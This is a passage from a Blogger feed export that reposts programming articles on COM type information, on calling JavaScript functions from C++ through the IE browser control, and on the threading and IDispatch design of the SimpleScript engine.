&lt;&gt;cImplTypes;     ++curInterface) {&lt;br /&gt;                HREFTYPE hRefType;&lt;br /&gt;                hr =     pTypeInfo-&gt;GetRefTypeOfImplType(curInterface, &amp;amp;hRefType);&lt;br /&gt;                &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;continue&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;;&lt;br /&gt;                    CComPtr&lt;itypeinfo&gt; pInterfaceInfo;&lt;br /&gt;                hr =     pTypeInfo-&gt;GetRefTypeInfo(hRefType, &amp;amp;pInterfaceInfo);&lt;br /&gt;                &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;continue&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;;&lt;br /&gt;                CComBSTR interfaceName;&lt;br /&gt;                hr =     pInterfaceInfo-&gt;GetDocumentation(-1, &amp;amp;interfaceName, 0, 0, 0);&lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;                &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"ErrorInInterfaceName\n"&lt;/span&gt;;&lt;br /&gt;                &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;     std::wcout&lt;&lt; color="#ff0000"&gt;"\t"&lt;/span&gt;&lt;&lt; color="#ff0000"&gt;"\n"&lt;/span&gt;;&lt;br /&gt;            }&lt;br /&gt;            pTypeInfo-&gt;ReleaseTypeAttr(typeAttr);&lt;br /&gt;            std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;'\n'&lt;/span&gt;;&lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Wow.  That was really easy.  Just like grabbing base interfaces.   We are browing the internet controls type library.  Let's see what we've got:&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://spec.winprog.org/typeinf2/coclass1.gif" alt="coclass1.gif (4540 bytes)" height="363" width="257" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Very interesting...  Each coclass exposes two interfaces, and two source interfaces (the 'D' prefix generally signifies that the interface is a dispatch only interface, and therefore a source interface to be connected to through IConnectionPointContainer).  Well, now we've covered coclasses, (disp)interfaces, unions, structures, and typedefs.  That pretty much does it for the COM type description interfaces.  Now go forth and write your own Automation controller!   (After reading Part III of this article of course - we build our own GUI type browser.)&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://spec.winprog.org/typeinf3/"&gt;&lt;strong&gt;&lt;span style="font-family:Arial;"&gt;Part III&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-151106364163101431?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://spec.winprog.org/typeinf2/' title='COM Automation: Type Information (II)'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/151106364163101431/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=151106364163101431' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/151106364163101431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/151106364163101431'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/com-automation-type-information-ii.html' title='COM Automation: Type Information (II)'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-5170642839333410400</id><published>2008-11-10T00:39:00.000-08:00</published><updated>2008-11-10T00:56:02.782-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='script，JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='com'/><title type='text'>CodeGuru: JavaScript Calls from C++</title><content type='html'>&lt;a href="http://www.codeguru.com/Cpp/I-N/ieprogram/article.php/c4399"&gt;CodeGuru: JavaScript Calls from C++&lt;/a&gt;&lt;br /&gt;&lt;span class="sectionhead"&gt;JavaScript Calls from C++&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Rating:&lt;/b&gt; &lt;span style="color:#990000;"&gt;&lt;img src="http://www.codeguru.com/img/star.gif" height="12" width="13" /&gt;&lt;img src="http://www.codeguru.com/img/star.gif" height="12" width="13" /&gt;&lt;img src="http://www.codeguru.com/img/star.gif" height="12" width="13" /&gt;&lt;img src="http://www.codeguru.com/img/star.gif" height="12" width="13" /&gt;&lt;img src="http://www.codeguru.com/img/star-gray.gif" height="12" width="13" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;table border="0" cellpadding="5" cellspacing="0"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td align="right"&gt;    &lt;br /&gt;&lt;/td&gt;     &lt;td class="bodycopy"&gt;     &lt;b&gt;Eugene Khodakovsky&lt;/b&gt; (&lt;a href="http://www.codeguru.com/member.php/2769/"&gt;view profile&lt;/a&gt;)&lt;br /&gt;    October 25, 2002    &lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;      &lt;p&gt; &lt;span class="bodycopy"&gt;  &lt;p&gt;&lt;a href="http://www.codeguru.com/Cpp/I-N/ieprogram/article.php/JSCalls.jpg" target="newframe"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.codeguru.com/Cpp/I-N/ieprogram/article.php/c4399#more"&gt;(continued)&lt;/a&gt;&lt;/p&gt;&lt;div class="right_ads" style="float: right; width: 336px;"&gt; &lt;!------ OAS AD 'flex' begin ------&gt; &lt;script language="JavaScript"&gt; &lt;!-- OAS_AD('flex'); //--&gt; &lt;/script&gt; &lt;noscript&gt; &lt;a href="http://63.236.18.118/RealMedia/ads/click_nx.ads/intm/webdev/www.codeguru.com/cpp/i-n/ieprogram@120x60-1,125x125-1,125x600,125x800,468x60-1,468x60-2,accessunit,accessunit_one,accessunit_three,accessunit_two,ciu,cp1,cp10,cp11,cp12,cp13,cp14,cp2,cp3,cp4,cp5,cp6,cp7,cp8,cp9,fl1,fl2,fl3,fl4,fl5,flex,house_ribbon,marketplace01,marketplace02,marketplace03,marketplace04,marketplace05,marketplace06,sitetext-1!flex"&gt; &lt;img src="http://63.236.18.118/RealMedia/ads/adstream_nx.ads/intm/webdev/www.codeguru.com/cpp/i-n/ieprogram@120x60-1,125x125-1,125x600,125x800,468x60-1,468x60-2,accessunit,accessunit_one,accessunit_three,accessunit_two,ciu,cp1,cp10,cp11,cp12,cp13,cp14,cp2,cp3,cp4,cp5,cp6,cp7,cp8,cp9,fl1,fl2,fl3,fl4,fl5,flex,house_ribbon,marketplace01,marketplace02,marketplace03,marketplace04,marketplace05,marketplace06,sitetext-1!flex" border="0" /&gt; &lt;/a&gt; &lt;/noscript&gt; &lt;!------ OAS AD 'flex' end ------&gt;&lt;br /&gt;&lt;br /&gt;&lt;!------ OAS AD 'accessunit' begin ------&gt; &lt;script language="JavaScript"&gt; &lt;!-- OAS_AD('accessunit'); //--&gt; &lt;/script&gt; &lt;noscript&gt;&lt;a href="http://63.236.18.118/RealMedia/ads/click_nx.ads/intm/webdev/www.codeguru.com/cpp/i-n/ieprogram@120x60-1,125x125-1,125x600,125x800,468x60-1,468x60-2,accessunit,accessunit_one,accessunit_three,accessunit_two,ciu,cp1,cp10,cp11,cp12,cp13,cp14,cp2,cp3,cp4,cp5,cp6,cp7,cp8,cp9,fl1,fl2,fl3,fl4,fl5,flex,house_ribbon,marketplace01,marketplace02,marketplace03,marketplace04,marketplace05,marketplace06,sitetext-1!accessunit"&gt; &lt;img src="http://63.236.18.118/RealMedia/ads/adstream_nx.ads/intm/webdev/www.codeguru.com/cpp/i-n/ieprogram@120x60-1,125x125-1,125x600,125x800,468x60-1,468x60-2,accessunit,accessunit_one,accessunit_three,accessunit_two,ciu,cp1,cp10,cp11,cp12,cp13,cp14,cp2,cp3,cp4,cp5,cp6,cp7,cp8,cp9,fl1,fl2,fl3,fl4,fl5,flex,house_ribbon,marketplace01,marketplace02,marketplace03,marketplace04,marketplace05,marketplace06,sitetext-1!accessunit" border="0" /&gt; &lt;/a&gt; &lt;/noscript&gt; &lt;!------ OAS AD 'accessunit' end ------&gt;&lt;/div&gt;&lt;a name="more"&gt;&lt;/a&gt;&lt;p&gt;&lt;a name="more"&gt;&lt;img src="http://www.codeguru.com/img/legacy/ieprogram/JSCalls.jpg" width="500" /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;em&gt;Click here for a larger image.&lt;/em&gt;&lt;/span&gt; &lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;u&gt;Environment:&lt;/u&gt; VC++ 6.0, NT 4.0, Win2000, Win95/98  &lt;/p&gt;&lt;h3&gt;Introduction&lt;/h3&gt;  &lt;p&gt;Sometimes, when we are using the IE Browser Control inside of a C++ application, we need to access the HTML elements. We can do it by using standard COM objects such as &lt;code&gt;IWebBrowser2&lt;/code&gt;, &lt;code&gt;IHTMLDocument2&lt;/code&gt;, and so forth. By doing this, we easily can implement features such as click button, click anchor, get input string, get HTML text, and so on. Unfortunately, Microsoft did not provide similar objects for JavaScript. In any case, it is possible to make a control for the JavaScript object inside an HTML page by using a traditional COM approach. This article describes the class &lt;code&gt;CWebPage&lt;/code&gt; that allows you to do it and a technique to call a JavaScript function from C++ code.&lt;/p&gt;  &lt;h3&gt;How to Do This&lt;/h3&gt;  &lt;p&gt;As the result of using the presented class, it will be easy to call any JavaScript function from C++ code. To implement this feature, we should get a pointer to the &lt;code&gt;IHTMLDocument2&lt;/code&gt; interface. If we are using the &lt;code&gt;CHtmlView&lt;/code&gt; class from MFC, we can get one by using member function &lt;code&gt;CHtmlView::GetHtmlDocument()&lt;/code&gt;. In the case of using the &lt;code&gt;IWebBrowser&lt;/code&gt; or &lt;code&gt;IWebBrowser2&lt;/code&gt; components, the function &lt;code&gt;get_Document&lt;/code&gt; will bring us the desired interface. Here is an example:&lt;/p&gt;  &lt;pre&gt;CComPtr&lt;idispatch&gt; spDisp = CHtmlView::GetHtmlDocument();&lt;br /&gt;m_webPage.SetDocument(spDisp);&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;The rest of the things will be done by the &lt;code&gt;CWebPage&lt;/code&gt; class. Here is an example of a JavaScript call without parameters.&lt;/p&gt;  &lt;pre&gt;m_webPage.CallJScript("Welcome");&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;The example of the JavaScript call with two parameters will look like this:&lt;/p&gt;  &lt;pre&gt;m_webPage.CallJScript("Miltiply","2.34","3.32");&lt;br /&gt;&lt;/pre&gt;  &lt;h3&gt;The Class Implementation&lt;/h3&gt;  &lt;pre&gt;&lt;span class="codeKeyword"&gt;class&lt;/span&gt; CWebPage&lt;br /&gt;{&lt;br /&gt;&lt;span class="codeKeyword"&gt;public&lt;/span&gt;:&lt;br /&gt; CWebPage();&lt;br /&gt; &lt;span class="codeKeyword"&gt;virtual&lt;/span&gt; ~CWebPage();&lt;br /&gt;&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; SetDocument(IDispatch* pDisp);&lt;br /&gt; LPDISPATCH GetHtmlDocument() &lt;span class="codeKeyword"&gt;const&lt;/span&gt;;&lt;br /&gt; &lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString GetLastError() &lt;span class="codeKeyword"&gt;const&lt;/span&gt;;&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; GetJScript(CComPtr&lt;idispatch&gt;&amp;amp; spDisp);&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; GetJScripts(CComPtr&lt;ihtmlelementcollection&gt;&amp;amp; spColl);&lt;br /&gt; CString ScanJScript(CString&amp;amp; strAText,CStringArray&amp;amp; args);&lt;br /&gt;&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; CallJScript(&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strFunc);&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; CallJScript(&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strFunc,&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strArg1);&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; CallJScript(&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strFunc,&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strArg1,&lt;br /&gt;                  &lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strArg2);&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; CallJScript(&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strFunc,&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strArg1,&lt;br /&gt;                  &lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strArg2,&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strArg3);&lt;br /&gt; &lt;span class="codeKeyword"&gt;bool&lt;/span&gt; CallJScript(&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strFunc,&lt;span class="codeKeyword"&gt;const&lt;/span&gt;&lt;br /&gt;                        CStringArray&amp;amp; paramArray);&lt;br /&gt;&lt;br /&gt;&lt;span class="codeKeyword"&gt;protected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; CComPtr&lt;ihtmldocument2&gt; m_spDoc;&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;  &lt;h3&gt;Calling Technique&lt;/h3&gt;  &lt;p&gt;The previously mentioned technique splits the following steps:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;Getting a pointer to the &lt;code&gt;IHTMLDocument2&lt;/code&gt; interface.&lt;/li&gt;&lt;li&gt;Getting &lt;code&gt;IDispatch&lt;/code&gt; for a JavaScript object in an HTML document.&lt;/li&gt;&lt;li&gt;Getting &lt;code&gt;DISPID&lt;/code&gt; for a given name of a JavaScript function.&lt;/li&gt;&lt;li&gt;Putting parameters to the &lt;code&gt;DISPPARAM&lt;/code&gt; structure.&lt;/li&gt;&lt;li&gt;Calling a JavaScript function by using the Invoke method of the &lt;code&gt;IDispatch&lt;/code&gt; interface.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;Here is an example of getting a &lt;code&gt;IDispatch&lt;/code&gt; pointer to the Java Scripts objects:&lt;/p&gt;  &lt;pre&gt;&lt;span class="codeKeyword"&gt;bool&lt;/span&gt; CWebPage::GetJScript(CComPtr&lt;idispatch&gt;&amp;amp; spDisp)&lt;br /&gt;{&lt;br /&gt; HRESULT hr = m_spDoc-&gt;get_Script(&amp;amp;spDisp);&lt;br /&gt; ATLASSERT(SUCCEEDED(hr));&lt;br /&gt; &lt;span class="codeKeyword"&gt;return&lt;/span&gt; SUCCEEDED(hr);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;And here is the final function to call JavaScript:&lt;/p&gt;  &lt;pre&gt;CComVariant CWebPage::CallJScript(&lt;span class="codeKeyword"&gt;const&lt;/span&gt; CString strFunc,&lt;br /&gt;                                 &lt;span class="codeKeyword"&gt;const&lt;/span&gt; CStringArray&amp;amp;&lt;br /&gt;                                       paramArray)&lt;br /&gt;{&lt;br /&gt; &lt;span class="codeComment"&gt;//Getting IDispatch for Java Script objects&lt;/span&gt;&lt;br /&gt; CComPtr&lt;idispatch&gt; spScript;&lt;br /&gt; &lt;span class="codeKeyword"&gt;if&lt;/span&gt;(!GetJScript(spScript))&lt;br /&gt; {&lt;br /&gt;   ShowError("Cannot GetScript");&lt;br /&gt;   &lt;span class="codeKeyword"&gt;return&lt;/span&gt; &lt;span class="codeKeyword"&gt;false&lt;/span&gt;;&lt;br /&gt; }&lt;br /&gt; &lt;span class="codeComment"&gt;//Find dispid for given function in the object&lt;/span&gt;&lt;br /&gt; CComBSTR bstrMember(strFunc);&lt;br /&gt; DISPID dispid = &lt;span class="codeKeyword"&gt;NULL&lt;/span&gt;;&lt;br /&gt; HRESULT hr = spScript-&gt;GetIDsOfNames(IID_NULL,&amp;amp;bstrMember,1,&lt;br /&gt;                        LOCALE_SYSTEM_DEFAULT,&amp;amp;dispid);&lt;br /&gt; &lt;span class="codeKeyword"&gt;if&lt;/span&gt;(FAILED(hr))&lt;br /&gt; {&lt;br /&gt;   ShowError(GetSystemErrorMessage(hr));&lt;br /&gt;   &lt;span class="codeKeyword"&gt;return&lt;/span&gt; &lt;span class="codeKeyword"&gt;false&lt;/span&gt;;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; &lt;span class="codeKeyword"&gt;const&lt;/span&gt; &lt;span class="codeKeyword"&gt;int&lt;/span&gt; arraySize = paramArray.GetSize();&lt;br /&gt; &lt;span class="codeComment"&gt;//Putting parameters&lt;/span&gt;&lt;br /&gt; DISPPARAMS dispparams;&lt;br /&gt; memset(&amp;amp;dispparams, 0, &lt;span class="codeKeyword"&gt;sizeof&lt;/span&gt; dispparams);&lt;br /&gt; dispparams.cArgs      = arraySize;&lt;br /&gt; dispparams.rgvarg     = &lt;span class="codeKeyword"&gt;new&lt;/span&gt; VARIANT[dispparams.cArgs];&lt;br /&gt; dispparams.cNamedArgs = 0;&lt;br /&gt;&lt;br /&gt; &lt;span class="codeKeyword"&gt;for&lt;/span&gt;( &lt;span class="codeKeyword"&gt;int&lt;/span&gt; i = 0; i &lt; arraySize; i++)&lt;br /&gt; {&lt;br /&gt;   CComBSTR&gt; bstr = paramArray.GetAt(arraySize - 1 - i);&lt;br /&gt;             &lt;span class="codeComment"&gt;// back reading&lt;/span&gt;&lt;br /&gt;   bstr.CopyTo(&amp;amp;dispparams.rgvarg[i].bstrVal);&lt;br /&gt;   dispparams.rgvarg[i].vt = VT_BSTR;&lt;br /&gt; }&lt;br /&gt; EXCEPINFO excepInfo;&lt;br /&gt; memset(&amp;amp;excepInfo, 0, &lt;span class="codeKeyword"&gt;sizeof&lt;/span&gt; excepInfo);&lt;br /&gt; CComVariant vaResult;&lt;br /&gt; UINT nArgErr = (UINT)-1;      &lt;span class="codeComment"&gt;// initialize to invalid arg&lt;/span&gt;&lt;br /&gt; &lt;span class="codeComment"&gt;//Call JavaScript function&lt;/span&gt;&lt;br /&gt; hr = spScript-&gt;Invoke(dispid,IID_NULL,0,&lt;br /&gt;                       DISPATCH_METHOD,&amp;amp;dispparams,&lt;br /&gt;                       &amp;amp;vaResult,&amp;amp;excepInfo,&amp;amp;nArgErr);&lt;br /&gt; &lt;span class="codeKeyword"&gt;delete&lt;/span&gt; [] dispparams.rgvarg;&lt;br /&gt; &lt;span class="codeKeyword"&gt;if&lt;/span&gt;(FAILED(hr))&lt;br /&gt; {&lt;br /&gt;   ShowError(GetSystemErrorMessage(hr));&lt;br /&gt;   &lt;span class="codeKeyword"&gt;return&lt;/span&gt; &lt;span class="codeKeyword"&gt;false&lt;/span&gt;;&lt;br /&gt; }&lt;br /&gt; &lt;span class="codeKeyword"&gt;return&lt;/span&gt; vaResult;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;h3&gt;Notes About the Demo&lt;/h3&gt;  &lt;p&gt;To call a JavaScript function from the demo, you should select the function in the tree of the left window. After this, press the ! button on the menu bar.&lt;/p&gt;  &lt;h3&gt;Downloads&lt;/h3&gt;  &lt;p&gt;&lt;a href="http://www.codeguru.com/code/legacy/ieprogram/JSCalls_demo.zip"&gt;Download demo project - 34 Kb&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.codeguru.com/code/legacy/ieprogram/JSCalls_src.zip"&gt;Download source - 3 Kb&lt;/a&gt;&lt;/p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-5170642839333410400?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/5170642839333410400/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=5170642839333410400' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/5170642839333410400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/5170642839333410400'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/codeguru-javascript-calls-from-c.html' title='CodeGuru: JavaScript Calls from C++'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-7257090957101040457</id><published>2008-11-09T22:21:00.000-08:00</published><updated>2008-11-10T00:59:33.347-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='script，JavaScript'/><title type='text'>Fabulous Adventures In Coding : SimpleScript</title><content type='html'>Fabulous Adventures In Coding : SimpleScript&lt;br /&gt;&lt;br /&gt;         &lt;br /&gt;Tags: SimpleScript&lt;br /&gt;&lt;br /&gt;       &lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;SimpleScript Part Seven: Binder Skeleton&lt;br /&gt;2004年5月4日 22:51&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In Part Five I was discussing modules: there is a "global module" and any number of additional modules.  Each module is associated with a named item, and the only module which is associated with more than one named item is the global module.  This means that each module is going to need its own name table to keep track of the functions, the variable names and values, etc, in it.  We'll call such devices "binders" because they bind names to values.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For reasons which will become more clear in future episodes, it is convenient to have the binder implement the IDispatch interface.  Normally if you had to implement IDispatch you'd build a type library, and then have your implementation of IDispatch call through to the ITypeInfo methods which look up dispatch ids, invoke methods, and so on.  There's a good reason for that: rolling your own IDispatch code can be extremely tricky.  But, we're pretty much stuck with it here -- we haven't got the convenience of a known vtable interface to wrap a type library around at compile time.  The script engine name tables are going to be extremely dynamic, so we're going to have to roll our own IDispatch.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The code isn't nearly done yet, obviously, but I've got a good skeleton in place.  Take a look at binder.cpp for the details.   I've pretty much got the high-level semantics of the dispatch interface worked out, but the actual low-level implementation details all return E_NOTIMPL.  What I need to build here is a special hash table which can efficiently look up values by both numeric id and name.  That's not too challenging; what is going to be more difficult is implementing the SCRIPTITEM_GLOBALMEMBERS feature.  We need to be able to add another arbitrary dispatch object to our binder and dynamically aggregate all of its methods, without causing any collision in dispatch ids! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Default property semantics are a little weird.  In the wacky world of late bound objects, an object may have a "default" method.  This feature was created so that you could call the Item method of a collection the same way you dereference an array in Visual Basic -- you make it look like a function call.  That is, since this code works:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim arr(10)arr(1) = 123&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;then so should this code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dict = CreateObject("Scripting.Dictionary")dict(1) = 123&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the last line is the same as&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dict.item(1) = 123&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Such is the wackiness of VB -- because the array dereference and function call syntax are conflated, they ended up making function calls on invisible methods be legal on the left hand side of an assignment statement.  The mind fairly boggles.   We'll be good citizens in SimpleScript.  If we have an object in our binder and someone attempts to call it, we'll just pass on the arguments to its default method and let it sort out what the right thing to do is. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you can see, there is a whole lot of parameter validation, and altogether about eleven separate cases that I cover in the implementation of Invoke.  The actual implementation in VBScript and JScript is much, much more complex than this because they support IDispatchEx, garbage collection, property accessor functions, and numerous other features that complicate the code.  But still, this is the longest function you're likely to see me write in this project; I'll be very surprised if I write any code more complicated than the dispatch logic.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Speaking of garbage collection, I'm not quite sure what kind of garbage collector I'm going to build into SimpleScript.  Building a mark-and-sweep collector like JScript has would be instructive, but it would also take a lot of time and effort.  What do you guys think?  (If you look at invoke.cpp you'll see that I'm thinking ahead about issues we're going to run into in garbage collection.  We're going to run into related issues in the script execution code; it is possible for ill-behaved hosts to shut down the script engine in a callback while it is executing!  We need to be robust in the face of such behaviour.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The next step is to get the actual guts of the binder working, and then build a list of code blocks to be executed when the script engine goes to started state.  The clone semantics for the code blocks are a little tricky, so we'll get that straightened away, and then maybe, just maybe, actually write a language parser.&lt;br /&gt;UPDATE:  For your convenience, I've put a zip file containing all the sources at http://www.eric.lippert.com/simplescript.zip.  I'll keep this zip file updated as I change the sources on the blog.&lt;br /&gt;SimpleScript Part Six: Threading Technicalities&lt;br /&gt;2004年4月27日 8:56&lt;br /&gt;&lt;br /&gt;Refresher Course&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Before you read this, you might want to take a quick refresher on my original posting on the script engine threading model.  That was a somewhat simplified (!) description of the actual script engine contract.  Let me just sum up:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;free threaded objects can be called from any thread at any time; the object is responsible for synchronizing access to shared resources&lt;br /&gt;apartment threaded objects can have multiple instances on multiple threads but once an object is on a thread, it can only be called from that thread.  The caller is responsible for always calling an object on the thread on which it was created.  The object is responsible for synchronizing access to resources shared across instances.&lt;br /&gt;rental threaded objects can be called on any thread, but the caller is responsible for ensuring that the object is only called from one thread at a time.&lt;br /&gt;an initialized engine is apartment threaded, with a couple exceptions -- InterruptScriptThread and Clone can both be called from any thread on an initialized engine.&lt;br /&gt;an uninitialized engine is free-threaded&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Things Get More Complicated&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's actually not quite right.  It would be more accurate to say that an uninitialized engine is rental threaded.  Why?  Because otherwise it would be legal to do really dumb things like call Close on two different threads at the same time.  If you look carefully at the code, you'll see that most of the methods are not robust in the face of full-on multithreading.  It's the "the host isn't a bozo" threading model!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a ridiculously complex threading contract, I know.  From COM's point of view, the script engine is free threaded -- the restrictions are so arcane that clearly the engine has got to be the one enforcing the rules, not COM, which is why you'll see lots of calls to check that the caller is on the right thread in my code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you take a look at the registration code, you'll see that I register the script engine as "Both", which means "either free threaded or apartment threaded, we'll sort it out".  What the heck is up with that?  Why not just call it "free threaded" and be done with it?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Because again, I oversimplified the description of an apartment in my original posting.  A single-threaded-apartment (STA) object is created on a thread and is always called on that thread.  Think of a person (an object) in a room (a thread) -- you want to talk to them (call a method), you go to their room.  You can put as many people in a room as you'd like, and build as many rooms as you'd like, but you want to call a method, you do it from the thread where the callee lives. That's all fine and good.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But there is also a multi-threaded apartment!  Imagine that you take some of the rooms and you knock holes in the walls.  If you're in one room and you want to talk to someone in another room, you don't have to go there, you can just yell through the hole.  The guy listening to you is responsible for synchronizing all the shouting going on, but at least he knows that no one is going to be trying to talk through a wall with no hole in it. &lt;br /&gt;In any given process there is one "main" STA, possibly many more secondary STAs, and one MTA.  You can't have two distinct sets of rooms that mutually communicate but don't talk to each other.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I briefly described in an earlier post the way that COM marshals calls "through the walls" from one apartment to another.  Well, if we register the script engine as a free threaded object, COM is going to think that it lives in the default MTA, and that any STA objects created by the process live in their own STAs, and therefore, all calls between the two apartments are going to have to be marshaled by the Free Threaded Marshaler.  That extra indirection really screws up your performance numbers, lemme tell ya.  We register as "both" threaded, and COM says "OK, you sort it out then if you're so smart", which we do by requiring that the host call us on the right thread and give us objects that are on the right thread. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Even that is still a considerable oversimplification -- there's still the Neutral Threaded Apartment that I haven't talked about yet, and the interactions between the CLR threading model and the COM threading model, and how 